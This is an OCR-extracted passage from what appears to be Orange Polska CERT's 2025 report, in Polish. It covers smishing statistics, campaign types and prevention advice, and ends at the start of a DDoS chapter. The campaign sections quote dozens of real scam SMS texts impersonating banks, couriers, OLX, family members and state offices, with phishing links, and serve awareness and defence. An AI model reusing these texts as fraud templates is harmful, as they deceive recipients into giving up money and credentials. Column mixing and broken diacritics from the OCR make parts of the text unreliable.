Oszustwa tego typu zazwyczaj okreslane s3g jako scam. Scam to forma oszustwa, niechciany komunikat, ktéry
ma na celu wytudzenie poufnych informacji (np. danych osobowych, danych finansowych, danych logowania)
oraz uzyskanie korzysci majgtkowych (np. kradziez pieniedzy) przez wzbudzenie zaufania u odbiorcy (ofiary),
wywarcie okreslonego zachowania, wprowadzenie odbiorcy w btad i przyniesienie w konsekwenciji korzy-

$ci oszustowi. Scam moze przybiera¢ rézne formy w zaleznosci od kanatu komunikacyjnego. W srodowisku
cyfrowym to m.in.: scam mailowy, scam SMS/MMS, scam w serwisach internetowych czy scam telefoniczny.
Wzbudzenie zaufania oraz naktonienie odbiorcy do okreslonej czynnosci odbywa sie zazwyczaj poprzez sprepa-
rowanie fatszywej wiadomosci i podszycie sie pod nadawce. Nie kazda niechciana wiadomos¢ (spam) to scam.

aplikacje biznesows, czyli z r6znego rodzaju interfejséw

programowania aplikacji (application programming inter-
face — API) lub innych narzedzi umozliwiajgcych wysytke
wiadomosci w sposob masowy. Wiadomosci SMS wysy-

Ponizej przedstawiamy skale oraz rodzaje zrédet wysyiki
ztosdliwych wiadomosci SMS/MMS identyfikowanych

i blokowanych w analizowanych systemach Orange
Polska.

SMS A2P (Short Message Service Application-to-Per-
son) — to wiadomosci SMS wysytane przez serwer/

tane zazwyczaj z nadpiséw (nazwa nadawcy).

SMS P2P (Short Messaging Service Person-to-Person)
— to wiadomosci SMS wysytane z telefonéw komorko-
wych przez uzytkownikéw w komunikacji interpersonal-
nej. Wiadomosci SMS wysytane ze zwyktego numeru
telefonu.

Zrédta wysytki ztosliwych wiadomosci SMS/MMS

w rozktadzie procentowym w roku 2025

SMS A2P SMS P2P




Smishing

Zrédta wysytki ztosliwych wiadomosci SMS/MMS

w rozktadzie procentowym w latach 2025 i 2024 H 2025 = 2024
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W rozktadzie procentowym Zrédet wysyitki blokowanych
ztosliwych wiadomosci SMS/MMS w roku 2025 zdecydowa-
nie wigkszy udziat stanowity te wysytane z aplikacji bizne-
sowych — SMS A2P (74,9%) — niz te wysytane z telefonow
komodrkowych — SMS P2P (25,1%). W poréwnaniu z rokiem
2024 nastapita zmiana trendu, w roku 2024 proporcje byty
niemal odwrotne (A2P - 46,7%, P2P - 53,3%) — to skok
ok. +28 punktu procentowego (pp.) dla A2P i spadek -28
pp. dla P2P. Oznacza to przesunigcie dziatan zwiazanych
z wysytaniem ztosliwych wiadomosci SMS/MMS w strone
zautomatyzowanych, hurtowych kampanii (A2P), czesto
z podszywaniem sie pod znane marki oraz nadawcow/

nadpiséw systemowych. Spadek wiadomosci z telefonéw
komodrkowych (P2P) moze wynika¢ m.in. ze skuteczniejszych
blokad indywidualnych numerdw.

Rozktad w czasie wystepowania atakéw phishingowych

w roku 2025 nie jest regularny. Przede wszystkim mozna
zauwazy¢ znaczny spadek liczby identyfikowanych ztosli-
wych wiadomosci SMS/MMS w czerwcu oraz lipcu. Spadek
ten wynika m.in. ze zmniejszonej skali kampanii dotyczacych
oszustw na cztonka rodziny (na dziecko). Widoczny jest réw-
niez w drugiej potowie roku spadek udziatu wysytki z telefo-
noéw komorkowych (ze zwyktych numeréw telefonéw).

cert.orange.pl
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identyfikowanych ztosliwych wiadomosci SMS w roku
2025 dotyczyta: dostaw paczek, kont bankowych,
oszustw na cztonka rodziny (na dziecko), na kupujacego
w portalach ogtoszeniowych (w szczegdlnosci OLX),
gietd kryptowalut oraz oszustw zwigzanych z nagrodami/
konkursami (na wygrana).

Klasyfikacja oparta jest przede wszystkim na metodach
dziatania cyberoszustéw oraz ich celach. Wigkszos¢

Najczesciej wystepujace phishingowe
kampanie SMS/MMS w roku 2025

Podszywanie sie pod banki

SMS-y udajace wiadomosci od bankéw lub posrednikdw ptatnosci. Moga dotyczyc takze
m.in. wyludzen ,,na pracownika banku” badz ,na konsultanta inwestycyjnego”.

Nadawca: nazwa nadawcy identyczna lub zblizona do oryginalnej badz zwigzana z nazwa
firmy dotknigtej podszyciem.

Tresé wiadomosci: informuje m.in. o podejrzanej aktywnosci na koncie, koniecznosci wery-
fikacji danych, zablokowaniu karty, potwierdzeniu transakcji, koniecznosci aktywacji aplikacji
bankowe;j.

Cel: skitonienie do kliknigcia w link prowadzacy do fatszywej strony banku lub innego serwisu
ptatnosci online, skfonienie do podania i tym samym wytudzenie wrazliwych danych (m.in.:
danych logowania, kart ptatniczych, kodéw autoryzacyjnych), wytudzenie pieniedzy.

[ALIOR BANK] Uwagal!
Dostep do konta online
wygasnie 11.06.2025 o
23:59. Przedtuz go teraz,
klikajgc: https://
AliorMobile.3158.info

[SANTANDER BANK
S.A] Twoje konto
zostanie tymczasowo
Zablo-kowana jesli nie
zweryfikujesz swojej
tozsamosci. Kliknij w link,
aby potwierdzic [ https://
santander-
srodowisko.com/5QdC ]"

[Spoldzielcza Grupa
Bankowa] Twoje konto
SGB24 wygasa
07-03-2025. Ostatnia
szansa na ukonczenie
weryflkacji i unikniecie
zablokowania:
sgb24.677539.com

[iPKO BANK ]
Szanowny Kliencie,
mamy gotowg ulepszong
aplikacje dla iPko.
Prosze zweryfikowac
now3 aplikacje do
02-03-2025. Pod tym
linkiem: https://
ipko.110299.com

[ ING Bank Slaski ]
Dostep do Twojej
bankowosci Moje ING
Wygasa dzis
(07-03-2025) o 00:00.
Nie zwlekaj? odnowienie
zajmie tylko chwile:
https://pek2025-
reaktywowac.com

[MILLENIUM BANK]
Rejestracja w aplikacji
wygasnie 25.02.2025.
Pilnie odwiedz link, aby
dokonczy¢ weryflkacje:
milleniAktywc2025.com

[CA24 Twoja rejestracja
w aplikacji Credit
agricole bank wygasa
29.01.2025. Prosze
przedluzyé swoja
weryfikacje pod
adresem: https://ca24-
reaktywowac.com

[PEKAO S.A. BANK]
Dostep zablokéwany z
powodu nietypowej
aktywnosci=
(31.01.2025, 19:47).
Zaktualizuj dané do
23:59, aby odblékéwaé
konto: https://
PekaloWerifkcj2025.452
640.com

[ BNP PARIBAS ] Twoja
rejestracja w aplikacji
GOmobile ""WYGASA""
28.05.2025 - 23:59.
Prosze przedluzyc swojg
autoryzacje pod
adresem: https://https://
mobilego-pl.4923.info/



Podszywanie sie pod portale ogtoszeniowe
badz aukcyjne - ,,na kupujacego”

SMS-y udajace wiadomosci od portali ogtoszeniowych badz aukcyjnych. Dotyczg przede wszystkim
oszustw ,,na kupujacego” — potwierdzenie rzekomej sprzedazy. Oszusci podszywaja sie pod zaintere-
sowanych kupnem oferowanych produktéw i wysytajg do osoby wystawiajacej przedmiot na sprzedaz
na portalu aukcyjnym/ogtoszeniowym fatszywe wiadomosci, rzekomo od serwisu aukcyjnego badz
ogtoszeniowego. Oszustwa tego typu moga dotyczyé¢ rowniez fatszywych sklepdw internetowych
oferujgcych po bardzo niskich cenach produkty, ktére nigdy nie zostanag dostarczone do zamawiajace-
go badz w rzeczywistosci nie istnieja.

Nadawca: nazwa nadawcy identyczna lub zblizona do oryginalnej badz zwigzana z nazwa

firmy dotknietej podszyciem.

Tresé wiadomosci: informuje m.in. o produkcie, ktdry zostat sprzedany i nalezy potwier-
dzi¢ sprzedaz oraz odebrac pienigdze za rzekomo zakupiony przedmiot, zgda potwierdzenia
sprzedazy lub podania danych niezbednych do zorganizowania przesytki kurierskie;j.

Cel: sktonienie do klikniecia w link prowadzacy do fatszywej strony firmy dotknietej podszy-
ciem (np. OLX) oraz banku lub innego serwisu ptatnosci online, wytudzenie wrazliwych danych
(m.in.: danych logowania do bankowosci internetowej, kart ptatniczych, kodéw autoryzacyj-
nych czy danych osobowych), wytudzenie pieniedzy.

Potwierdz swojg
sprzedaz na OLX: https://
b9q7hk.lol/YoT2

OLX. Gratulacje! Sukces
sprzedazy: https://
ht5spl.lat/qGSy

OLX. Masz nowg
sprzedaz: https://
soar9.cfd/hSUJ0g

[OLX] POTWIERDZENIE
SPRZEDAZY: https://
spl1s3.lol/7TKk

OLX: TOWAR ZOSTAL
ZAKUPIONY Z
DOSTAWA:
https://874647.com/
znmyw

[OLX] ZATWIERDZ
SPRZEDAZ: https://
space0.sbs/HsBh
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Oszustwa kurierskie - ,,na paczke”

Fatszywe wiadomosci SMS podszywajace sie pod firmy kurierskie i pocztowe.
Oszustwa zwigzane z dostarczeniem paczki nazywane sg ,,na paczke”.

Nadawca: nazwa nadawcy identyczna lub zblizona do oryginalnej badz zwigzana z nazwa
firmy dotknietej podszyciem.

Tres¢ wiadomosci: informuje m.in. o zalegtej optacie za przesytke czy za dodatkowe ustugi
(np. wielko$¢ paczki przekracza optacony gabaryt) badz o koniecznosci aktualizacji danych

dostawy czy mozliwosci monitorowania przesytki.

Cel: sktonienie do klikniecia w link prowadzacy do fatszywej strony firmy kurierskiej czy

pocztowej, wytudzenie wrazliwych danych (m.in.: danych kart ptatniczych, danych logowania

do bankowosci elektronicznej czy danych osobowych), wytudzenie pieniedzy.

DHL: Twoja paczka jest
przetrzymywana z
powodu dodatkowych
oplat celnych. Oplaty te
nalezy uiscic za
posrednictwem strony:
https://actualizar-
vod.com

Twoj adres dostawy jest
niedokladny i paczka nie
zostala dostarczona
prosimy o aktualizacje
adresu i ponowne
dostarczenie paczki
https:/fis.gd/
pocztapolska_pl

[GLS Twoja paczka jest
W haszym magazynie.
Prosze zaktualizowac
adres i sposob dostawy :
https://bitly.cx/Info-GLS

[ Informacje DPD ] Twoja
paczka jest w naszym
magazynie. Prosze
zaktualizowac adres i
sposob dostawy : https://
bitly.cx/AWB-DPD

Doreczenie paczki nie
powiodlo sie z powodu
niekompletnego lub
nieprawidlowego adresu.
Sprawdz i zaktualizuj
dane doreczenia. https://
gls-group1.top/pl

Twoja przesylka zostala
wstrzymana. Prosimy o
jak najszybsza
aktualizacje: fediex.gpon/
pl

UPS PL: Nie udato sie
dostarczyc Twojego
zamowienia dzisiaj.
Prosimy o przetozenie
terminu lub
potwierdzenie ponownej
dostawy na jutro : https://
rb.gy/vanict

Prosze podpisac odbior
przesylki w ciagu 6
godzin i podac
prawidlowy adres
dostawy w celu
dostarczenia jej od drzwi
do drzwi: https://
Indelivery.icu/pl

InPost: Przesylka
GS759204682PL zostala
zablokowana. Prosimy o
oplacenie kosztow
dostawy, w przeciwnym
razie przesylka zostanie
odeslana do nadawcy:
sledzenie-przesylki.com

UPS: Twoja przesytka
zostata wstrzymana,
prosimy zaktualizowac
swoje dane tutaj. https://
pilsaninsaat.com.tr/
upsdelivery1/
upsdelivery1/

Poczta Polska Twoja
paczka czeka na
dostawe. Kliknij link
https://bit.ly/4ggCVDI,
aby potwierdzi¢ optaty w
wysokosci 7,99 Ztoty

Zamowienie zostalo
zwrocone do centrum
adresowego. Zaktualizuj
swoje dane, aby je
otrzymac: https:/f
ww2_postaddress.top/pl



Oszustwa na znajomego lub cztonka rodziny

Fatszywe wiadomosci SMS podszywajace sie pod znajomego lub cztonka rodziny (np. dziecko)

z prosba o pomoc finansowa.

Tresc fatszywej wiadomosci SMS czesto naktania jedynie do kontaktu poprzez inny kanat, np. poprzez
WhatsApp czy inny komunikator lub kontakt na podany numer telefonu. Oszustwo to znane jest jako
»metoda na wnuczka” w wersji cyfrowej. Oszust wysyta wiadomos$é SMS, w ktdrej podaje sie za bliskg

osobe (np.: corke, syna, wnuczka).

Nadawca: numer telefonu.

Tresé wiadomosci: informuje m.in. o zgubieniu telefonu przez nadawce i zawiera prosbe

o kontakt poprzez WhatsApp na podany w tresci wiadomosci nowy numer telefonu, wskazuje
na potrzebe posiadania okreslonej kwoty celem optacenia rachunkéw, np. za nowy telefon.
Oszustwa nazywane rowniez jako ,na rozbity telefon” czy ,zepsuty telefon” — aparat wpadt
do wody i sa potrzebne pieniadze na nowy telefon oraz uregulowanie rachunku. Oszust moze
sugerowac, ze chodzi o nagty wypadek, utrate dokumentéw, naprawe samochodu czy optate

rachunku.

Cel: sktonienie do kontaktu (np. za posrednictwem komunikatora lub telefonicznie), wytudze-
nie pieniedzy od osoby pod pozorem pomocy bliskiemu, wytudzenie danych wrazliwych (m.in.
danych osobowych), wytudzenie pieniedzy.

Czesc tato, Mozesz do
Mn.ie napisac. na
WhatsApp? Wa.me/
+48XXXXXXXXX t0 MOj
nowy numer

Hej mamo..Telefon
zepsuty, napisz przez
Whas App. Ten nowy
numer.

Czesc tato, Moj telefon
jest zepsuty. Napisz do
mnie ale przez Whss
app. Ten Nr Dziekuje

..Mamo..!, Mojk telefonn
sie zepsul Napissz do
mnie na whatsApp.
Nowyy numer to :
F4BXXXXXXXXX

Maj telefon wpadt do
ubikacji. Napisz do mnie
na whatsapp mamo. To
mMa&j numer +48XXXXXXXXX

Hej tato, mam nowy
numer. Czy mozesz
napisac¢ do mnie na ten
numer tak szybko, jak to
mozliwe na whatsappie?
XIOOXXXX

Czesc mamo moj stary
telefon nie dziala. To
tylko tymczasowy numer
Napisz do mnie na
WhatsApp!? x00000x

Czesc tato, telefon
zepsuty . To moj nowy
numer. Ale pisz przez
WhatsAppi, mam tylko
internet

Czesc mamo, telefon
zepsuty. Napisz do mnie
przez was app.
X000XKX lub
shorturl.at/6kgKL
Dziekuje
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Podszywanie sie pod gietdy kryptowalut

Fatszywe wiadomosci SMS podszywajace sie pod gietdy kryptowalut, zachecajace do
inwestowania badz zabezpieczenia swoich srodkéw finansowych. Wytudzenia te sg nazy-

wane takze ,na konsultanta inwestycyjnego”. Oszustwa zwigzane z gietdg kryptowalut moga

dotyczy¢ tez m.in. fatszywych inwestycji.

Cechy charakterystyczne:

Nadawca: nazwa nadawcy identyczna lub zblizona do oryginalnej badz zwigzana z nazwa

firmy dotknietej podszyciem.

Tresé wiadomosci: informuje m.in. o kliknieciu w zatagczony link prowadzacy do fatszywej
strony znanych firm czy instytucji, o rzekomym nieautoryzowanym dostepie do konta uzyt-
kownika (np. zalogowano sie z nowego urzadzenia z okreslonego kraju, czy twdj kod bez-
piecznego logowania to) i koniecznosci kontaktu na podany numer telefonu, jesli to nie ty

podejmowates te dziatania.

Cel: skionienie do oddzwonienia, podania i tym samym umozliwienia wytudzenia danych
wrazliwych (m.in. danych osobowych, numeru kart ptatniczych), wytudzenie pieniedzy.

Przyktady fatszywych wiadomosci SMS:

New device connection
detected in New York. If
it is not you, call us
immediately at +48 (22)
XXXXXXX

Twoje dwuskladnikowe
uwierzytelnianie zostalo
usuniete z konta. Jesli
nie zainicjowales tego,
skontaktuj sie z nami pod
numerem +48 Xxx Xx
xxxx. REF:26311

Panskie konto zostalo
wpisane na czarna liste.
Prosze odwiedzic
www.binance-fra.com
aby usunac ograniczenia

Ostrzezenie! probowano
dokonac wyplaty z
twojego konta Binance.
Nie Ty? Skontaktuj sie
natychmiast.
+48xx0000xxx. REF:
BIN331

Z Twojego konta
dokonano wyplaty w
nieznanej lokalizacji.
Jesli nie dokonales tej
wyplaty, odwiedz
www.kucoin-pol.com

41465 Proba dokonania
transakcji wy Rumunii.
Jesli to nie byles Ty,
prosimy o
natychmiastowy kontakt
Zz nami. +48 xx XXX XX XX.
REF: BIN885



Oszustwa zwigzane
z nagrodami/konkursami - ,na wygrang”

Oszukaricze wiadomosci obiecujace wygranag w konkursie lub loterii, w ktdrej ponoc bralismy udziat.
Wiadomosci pochodzg rzekomo m.in.: ze sklepdw (np. oferujacych elektronike lub bony), znanych firm
oraz z roznych serwiséw gier online (np. kasyn).

Nadawca: nazwa nadawcy identyczna lub zblizona do oryginalnej badz zwigzana z nazwa

firmy dotknietej podszyciem.

Tresé wiadomosci: informuje m.in. o wygranej telefonu iPhone i kliknigciu w podany link,
aby odebra¢ nagrode, zawiera fatszywe powiadomienia o wygranej w loterii, ktére wymagaja
jedynie optacenia niewielkiej kwoty ,,administracyjnej” w celu odebrania nagrody, informuje:
twdj numer zostat wylosowany w loterii. Wiadomosci tego typu moga zawierac rowniez imie
i nazwisko uzytkownika oraz jego numer telefonu.

Cel: sktonienie do klikniecia w link prowadzacy do fatszywej strony (np. kasyna), podania
danych wrazliwych (m.in. danych osobowych, numeru karty ptatniczej), wytudzenie pieniedzy.

Ostatnia szansa na
zdobycie 750 EUR i 200
DS http://mgljj.xyz/
u4D5nC

Dobre wiesci! Twoje
konto zostalo zasilone
wygranymi z lutego.
Zobacz je tutaj:
idexe.biz/uUQC1z

Orange: Twoje punkty
(9586 punktow) wygasna
27 czerwca 2025 .
Zrealizuj swoj prezent juz
teraz, aby uniknac
wygasniecia: https://
henghengjz.com

Na Twoim koncie jest
teraz 7500pIn plus 250ds
Wykorzystaj je, zeby
wygrac dzis wieczorem
http://qurd.me/Xxxxxx

Rok 2025 rozpoczyna sie
od rekordowych zyskow!
Na Twoim rachunku
znajduije sie 8733,00 zl.
Nie czekaj - skontaktuj
sie: +48XXXXXXXXX

Plus: Informujemy, ze
Twoje 3250 punktow
wkrotce straci waznosc.
Punkty te mozna
wymienic na prezenty.
Wykorzystaj je teraz
https://t.ly/cn6qF

Po trzech probach
kontaktu nagroda wciaz
pozostaje do odebrania.
Wejdz teraz: suyup.info/
XXXXXX

Przypomnienie o
punktach T-Mobile: Na
Twoim koncie pozostalo
6690 punktow.
Wykorzystaj je przed 7
listopada: https:/Ink.ink/
cA5HR

PKO BP przypomina:
Twoje 7999 punktow
wygaslo dzisiaj. Kliknij
https://
pkobankpolski.sbs/pl,
aby odebrac swoj
prezent.
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Czesto identyfikowaliSmy rowniez takie kampanie:

07

Fatszywe powiadomienia o zalegtosciach
badz nadwyzkach w optatach
- ,na niedoptate” badz ,,na nadptate”

Wiadomosci SMS podszywajgce sie pod rézne firmy dostarczajgce korespondencje zwigzang
z optatami. Oszustwa te czesto nazywane sg ,,na niedoptate” badz ,na nadptate”.

Nadawca: nazwa nadawcy identyczna lub zblizona do oryginalnej badz zwigzana z nazwa
firmy dotknietej podszyciem.

Tres¢ wiadomosci: informuje m.in. o odebraniu rzekomej nadptaty badz nieoptaceniu faktury,
np.: za prad, gaz, telefon, na okreslong kwote i koniecznosci natychmiastowego dokonania
optaty, aby nie zostato zakoriczone $wiadczenie ustugi.

Cel: sktonienie do klikniecia w link prowadzacy do banku lub innego serwisu ptatnosci online,
wytudzenie danych wrazliwych (m.in. danych osobowych, ptatniczych), zainstalowanie ztosli-
wego oprogramowania, wytudzenie pieniedzy.

Przypomnienie: Twoja PGE: Masz do odebrania Uwaga! Masz

faktura z PGE jest niewykorzystany zwrot nieoptacony rachunek za
nieoptacona. Prosimy o srodkow. Aby odebrac prad. Aby unikngé
natychmiastowg refundacje, kliknij w link: odciecia dostaw energii,
ptatnosc, aby unikngcé https://qrco.de/pgerefund ureguluj naleznosé
odigczenia. Skontaktuj niezwlocznie. Dokonaj
sie z PGE, jesli juz ptatnosci, aby unikngé
zaptacono. https:// dalszych konsekwenciji.

qrco.de/gkpge https://t.co/40fl4e80xz



Podszywanie sie pod urzedy
i instytucje panstwowe

SMS-y udajace wiadomosci od urzeddw skarbowych, policji lub innych instytucji paristwowych.

Nadawca: nazwa nadawcy identyczna lub zblizona do oryginalnej bgdz zwigzana z nazwg
firmy/instytucji dotknigtej podszyciem.

Tresé wiadomosci: informuje m.in. o niedoptacie podatku, wygasnieciu profilu zaufanego
i koniecznosci odnowienia czy aktualizacji danych.

Cel: sktonienie do podania wrazliwych danych (m. in. osobowych, finansowych), wytudzenie
pieniedzy.

Blad w rozliczeniu
Nalezy sie zwrot
nadplaconej kwoty.
Dokoncz proces zwrotu
na stronie: https://zwrot-
podatku.dedyn.io/zwrot

Two profil, zaufany
wygasa 31.12.2025 .
Przedluz jego waznosc
po zalogowaniu na
konto. Wiecej informacji i
podstawa prawna
gov.bezpieczny-
serwis.com

Przyznano Ci zwrot
podatku 494 zt. Aby go
odebrac, wpisz kod blik
w portalu ponizej -
przelew otrzymasz
natychmiast https://
urzadskarbowy.pl-
podatki.cfd/pay/VB

[e-TOLL] Termin Twojej
oplaty dobiega konca.
Aby uniknac kary,
prosimy o
natychmiastowe

uregulowanie naleznosci.

Sprawdz szczegoly:
ficoshchpoints.vip/pl

NFZ: Pilne! Aby
otrzymaé refundacje
kosztow leczenia,
prosimy o pilne
uzupetnienie danych.
Zaloguj sie: https://t.co/
yZpGADujGE Brak
danych uniemozliwi
wyptate refundaciji.

Zapta¢ mandat drogowy
— W przeciwnym razie
grozi zawieszenie prawa

jazdy https:/
Zaplacmandat-
pl.4923.info
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Podszywanie sie pod komunikatory

Fatszywe wiadomosci SMS podszywajgce sie pod komunikatory internetowe.

Nadawca: nazwa nadawcy identyczna lub zblizona do oryginalnej badzZ zwigzana z nazwg
firmy dotknietej podszyciem.

Tres¢é wiadomosci: informuje m.in. o rzekomych problemach z kontem.
Cel: sktonienie do kliknigcia w link prowadzacy do fatszywej strony firmy dotknietej podszy-

ciem (np. Telegram), podania i tym samym wytudzenie wrazliwych danych (m.in. logowania,
danych osobowych).

Zweryfikuj swoj numer 30965 Twoje konto Twoje konto Telegram
telefonu w ciggu 24 Telegrm zostanie zostanie wkrotce
godzin, w przeciwnym wkrotce zawieszone. oo
razie Twoje konto Prosze sprawdzic to na sprawdzic to na oficjalnej
zostanie usuniete. %ﬁgjﬂgg‘;gjox'giagu 5 stronie intedet%WGi \'}\;

. i ciagu 6 godzin https:
https://telegram-pl.live godzin https:// is.ggd!TRgLDUj p

t.elnvemv.top ID#41377

Podszywanie sie pod platformy
streamingowe

Fatszywe wiadomosci SMS podszywajace pod platformy streamingowe.

Nadawca: nazwa nadawcy identyczna lub zblizona do oryginalnej badz zwigzana z nazwa
firmy dotknietej podszyciem.

Tres¢é wiadomosci: informuje m.in. o koniecznosci zalogowania sie do konta w celu aktywacji.
Cel: sktonienie do klikniecia w link prowadzacy do fatszywej strony portalu streamingowego

(np. Netflix), wytudzenie danych wrazliwych (m.in.: danych logowania, danych osobowych,
danych kart ptatniczych).

NETFLIX Zaktualizuj NETFLIX-Twoja ostatnia Twoje konto Netflix
swoja subskrypcje przed platnosc zostata zostanie zablokowane,
jej wygasnieciem odrzucona, Twoje konto poniewa Twoja patno
26.02.2025 na stronie: zostanie zawieszone zostaa odrzucona:
https:// 29/02/2025. Odnow https://t.co/HkK8w7OPkd
mioabbonanmento- ptatno$é na: https://

regolarizzazione.info manage-

youraccount.com



Podszywanie sie pod operatoréw
telekomunikacyjnych

Fatszywe wiadomosci SMS podszywajace sie pod operatorow telekomunikacyjnych.

Nadawca: nazwa nadawcy identyczna lub zblizona do oryginalnej badz zwigzana z nazwa firmy dotknietej
podszyciem.

Tres¢é wiadomosci: informuje m.in. o nieoptaconej fakturze, weryfikacji swojego konta badz numeru tele-
fonu i koniecznosci klikniecia w link, aby unikng¢ blokady ustug badz karty SIM. ,,Wygrate$ nowy telefon,
aby odebra¢ nagrode, kliknij tutaj”.

Cel: sktonienie do podania i tym samym wytudzenie wrazliwych danych (m.in.: danych osobowych,
danych logowania, kodoéw autoryzacyjnych, danych kart ptatniczych), wytudzenie pieniedzy.

Twoje konto Orange jest ORANGE Drogi Kliencie, ORANGE: 26.05.2025
gotowe do aktywacji. Twoja umowa konczy sie zawiesimy Twoja umowe
Prosimy o wykonanie dzisiaj i zostanie za za brak platnosci.
instrukciji, aby aktywowac blokowana. Przediuz Zablokujemy polaczenia,
konto i ponownie SWojg umowe na stronie: SMS-y i dane.

korzystac z naszych umowa2025.com/ Zaktualizuj platnosc:
uslug. Dziekujemy! https://t.co/FshRtDFLFW
urlz.fritdWD

Falszywe oferty pracy - ,,na rekrutera”

Fatszywe wiadomosci SMS podszywajace sie pod rekruterow.

Nadawca: numer telefonu lub nazwa nadawcy identyczna lub zblizona do oryginalnej bgdz zwigzana
z nazwa firmy dotknietej podszyciem.

Tresé wiadomosci: informuje m.in. o wysokich zarobkach (w tym podana np. stawka dzienna) oraz nakfa-
nia do kontaktu.

Cel: skionienie do kontaktu (np. za posrednictwem komunikatora lub telefonicznie), wyludzenie danych
wrazliwych (m.in. danych osobowych), wytudzenie pieniedzy.

768507 Zatrudniamy do Poszukujemy kilku osob! Dzien dobry, pomyslinie
projektu. Stawka dzienna Dniowka 312-1012 zI, przeszedl(a) Pan/Pani
wynosi 312-1012 zlotych. miejsca ograniczone. ocene. Dzienna stawka
Liczba dostepnych Informacje przez wynosi od 200 do 800 zl.
stanowisk jest Telegram : https://t.me/ Prosimy o kontakt przez
ograniczona. Prosimy o XXXXX telegramu: https://t.me/

kontakt przez Telegram. XXXXX
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Oszusci wysytajacy phishingowe wiadomosci SMS/MMS  generycznych/uniwersalnych (np.: Info, Verify, InfoSMS),

stosujg w coraz wiekszym stopniu zmienno$¢ tresci a niekoniecznie powigzanych z nazwa podmiotu, pod
celem ominigcia systeméw detekcji operatorow. Na ktéry miato miejsce podszycie.

S przyktad: krotkie tresci, zmienno$¢ domen i URL (linku)

By badz brak linku, a jedynie naktonienie do kontaktu, np. Wiadomosci SMS wysytane ze zwyktych numerow tele-

§ telefonicznego lub poprzez komunikator, dodawanie fonow w wigkszosci byty wysytane z prepaidow.

& losowych znakéw, w tym z réznych alfabetéw.

g Cyberoszusci dostosowywali kampanie, w tym tres¢

(@) Wiadomosci SMS/MMS wysytane z nadpisow (nazwa komunikatéw, do aktualnych wydarzen politycznych czy
nadawcy) w duzej mierze byly wysytane z nadpiséw spoteczno-gospodarczych.

Warto zauwazy¢, ze ztosliwy SMS nie
zawsze musi zawierac link prowadzacy do
fatszywej strony wytudzajacej poufne dane
badz prowadzacy do pobrania ztosliwej
aplikacji. Znaczna czesé identyfikowanych
wiadomosci SMS, np.: kampanii ,,na
czionka rodziny”, gietd kryptowalut czy ,,na
_ . rekrutera”, nie zawierata linku, a jedynie
ich tres¢ naktfaniata do kontaktu na podany
numer nadawcy albo poprzez inny kanat
komunikaciji, m.in. WhatsApp.

Dziatania cyberprzestepcéw
i metody atakow

—_—

Metody ochrony i budowania
cyberodpornosci

Prognozy i kierunki rozwoju

Chronimy i pomagamy




przed smishingiem

Ponizej przedstawiamy wskazowki dla uzytkownikéw, jak broni¢ sie przed smishingiem
(metody prewenciji - jak unikac ryzyka i je minimalizowac), oraz co zrobi¢, gdy padniesz

ofiarg smishingu.

Co zrobié, aby nie stac¢ sie ofiarg smishingu
lub podobnego oszustwa

(zasady ostroz-
nosci przy podejrzanych wiadomosciach SMS):

= nie odpowiadaj i nie oddzwaniaj na nieznane numery (ryzy-
ko potwierdzenia aktywnego numeru, wytudzen, subskryp-
cji premium, wysokich optat, zwtaszcza z egzotycznych
numeréw);

m weryfikuj nadawce (nazwa/numer); w razie watpliwosci
(m.in. podobne znaki) kontaktuj sie z firmag przez oficjalne
kanaty, nie te z otrzymanej wiadomosci;

m nie klikaj w linki (ryzyko ujawnienia poufnych danych, po-
brania ztosliwych plikéw, zapisy do ustug premium);

m sprawdzaj adres URL (m.in. podobne znaki jak 0/O czy 1/l)
— najlepiej wpisz adres recznie;

= nie podawaj poufnych danych (loginy, hasta, dane oso-
bowe, dane karty, kody SMS), zazwyczaj instytucje nie
prosza o nie poprzez wiadomosé SMS - oceniaj kontekst
wiadomosci — btedy, presja/grozby czy ,,zbyt dobra oferta”
réwna sie sygnat ostrzegawczy;

m zgtaszaj podejrzane wiadomosci SMS do operatora i od-
powiednich podmiotéw (utatwia to weryfikacje i dziatania
zapobiegawcze);

m blokuj podejrzanych nadawcéw/numery — po upewnieniu sie
usun wiadomosé, by unikna¢ przypadkowego klikniecia.

w szczegolnosci:

m Wigcz 2FA, gdzie to mozliwe (samo hasto nie wystarczy do
przejecia konta);

m Uzywaj oprogramowania zabezpieczajacego (ostrzezenia
o podejrzanych nadawcach/linkach);

m zastrzez PESEL.

(np. www.cert.orange.pl) — me-
tody oszustéw ciagle sie zmieniaja.

Co zrobié, gdy padniesz ofiara smishingu
lub podobnego oszustwa

(zaloguj sie do swojego konta), w szczegdlnosci:

m bank (utrata srodkow);

m operator komérkowy (dodatkowe koszty/aktywne ustugi);

m dostawca ustugi obcigzonej na rachunek;

m sprawdz status ustug i potaczen oraz wigcz blokady i limity
(na ustugi premium, potgczenia telefoniczne oraz SMS/
MMS);

m sprawdz konta (np. transakcje) oraz zmien hasta na silne
(wtacz 2FA); jesli to samo hasto byto uzyte gdzie indziej
— zmien je takze tam;

m zablokuj karte pfatnicza;

m zastrzez PESEL.

(zwhaszcza jesli
instalowates aplikacje z podejrzanego linku); w szczegdlnosci:

m przeskanuj antywirusem;

m Usun podejrzane aplikacje;

m zaktualizuj oprogramowanie;
m zmien hastfa na silne.

(w szcze-
golnosci w przypadku utraty pieniedzy).


http://cert.orange.pl
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Wolumetryczne
ataki na ustugi
| Infrastrukture

Grzegorz ltowski

W tym rozdziale przedstawiamy krajobraz DDoS6w w sieci Orange
Polska, czyli skale oraz typy wolumetrycznych atakéw DDoS, identyfi-
kowanych na analizowanych tagczach Orange Polska. Analizy dotycza
przede wszystkim rodzajow wykrywanych atakow DDoS, ich sity, czasu
trwania oraz poréwnan z ubiegtym rokiem.

Ataki odmowy dostepu do ustugi (Distributed Denial of Service — DDoS)
to jedne z najprostszych i najbardziej popularnych atakéw na sie¢ lub
system komputerowy, a zarazem jedne z bardziej niebezpiecznych

i groznych w skutkach. Ich gtdwnym celem jest utrudnienie badz unie-
mozliwienie korzystania z oferowanych przez zaatakowany system
ustug sieciowych i w efekcie paraliz infrastruktury ofiary poprzez maso-
we wysytanie zapytan do zaatakowanej ustugi.
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Charakterystyka ruchu zwigzana z atakami DDoS
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Ponizej przedstawiamy charakterystyki ruchu dla najczesciej wykorzystywanych w atakach DDoS portéw protokotu
UDP na analizowanych tgczach Orange Polska. Dane podawane na wykresach sa usrednione.

Charakterystyka ruchu na porcie 53

na tagczach Orange Polska B domain (53) out I domain (53) in
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Dzien

Port 53, uzywany przez ustuge DNS (Domain Name System), odpowiadajaca za wzajemna translacje nazw domeno-
